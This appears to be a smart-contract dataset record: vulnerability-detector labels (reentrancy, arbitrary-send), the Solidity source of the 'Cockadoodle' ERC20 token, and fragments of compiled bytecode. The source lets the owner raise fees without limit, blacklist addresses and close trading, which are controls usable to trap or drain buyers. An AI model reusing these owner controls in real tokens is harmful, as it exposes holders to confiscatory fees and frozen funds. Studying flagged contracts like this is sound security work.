55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1c0ae2b1b16d455b54ebc470d180e7c03f485fcf872aa0b0aa6bcc72df55c9b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,439 |
0x0d19ba1af8c761437cabe2d199f1d75bfb71158f
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/**
▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒████████ ██████
▓▓▓▓▒▒▓▓▓▓▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒██ ██▓▓▒▒██
▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒████ ██▓▓▒▒██
▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▓▓██ ██▓▓▒▒██
▓▓▒▒ ▒▒▒▒▒▒▒▒▒▒ ██▓▓▓▓▒▒▒▒▒▒▒▒▓▓██ ██▓▓▒▒██
▓▓▒▒██▒▒▒▒▒▒▒▒▒▒████▓▓▓▓▒▒▒▒▒▒▒▒▓▓██ ██▓▓▒▒██
▓▓▒▒██▒▒▒▒▒▒▒▒▒▒████▓▓▓▓▒▒▒▒▒▒▒▒▓▓██ ██▓▓▒▒██
▓▓░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒██ ██▓▓▓▓▒▒██
▓▓▒▒▒▒▒▒▒▒░░░░▓▓▓▓▓▓▓▓▒▒▒▒▒▒██ ██████████▒▒██
▓▓ ▒▒██▒▒░░░░░░░░░░░░▓▓▓▓▒▒██ ████▒▒▒▒▒▒▒▒▓▓██
▓▓██████░░░░░░░░░░░░░░▒▒▓▓▓▓████████▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██
▓▓░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██
▓▓▓▓▓▓░░░░▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██
▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██
██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▓▓██
██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒▓▓██
██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓████████▓▓██▒▒▒▒▒▒████
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██ ▓▓▓▓▓▓▓▓██▒▒▒▒▒▒██
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██ ▓▓▓▓▓▓████ ▒▒ ▒▒██
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██ ▓▓▓▓▓▓██ ▒▒ ░░██
▒▒ ▒▒██ ▒▒▒▒▒▒▒▒██ ░░░░░░██ ▒▒ ░░██
▒▒ ▒▒▒▒██ ▒▒ ▒▒██ ▒▒▒▒▒▒▒▒ ▒▒ ░░▒▒
▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒██ ▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒
Cockadoodle-doo!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cockadoodle is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cockadoodle";
string private constant _symbol = "COCK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x84f648D1CEa5186f0B3126df2B1dE35dA85332CC);
address payable private _marketingAddress = payable(0x84f648D1CEa5186f0B3126df2B1dE35dA85332CC);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600b81526020017f436f636b61646f6f646c65000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffff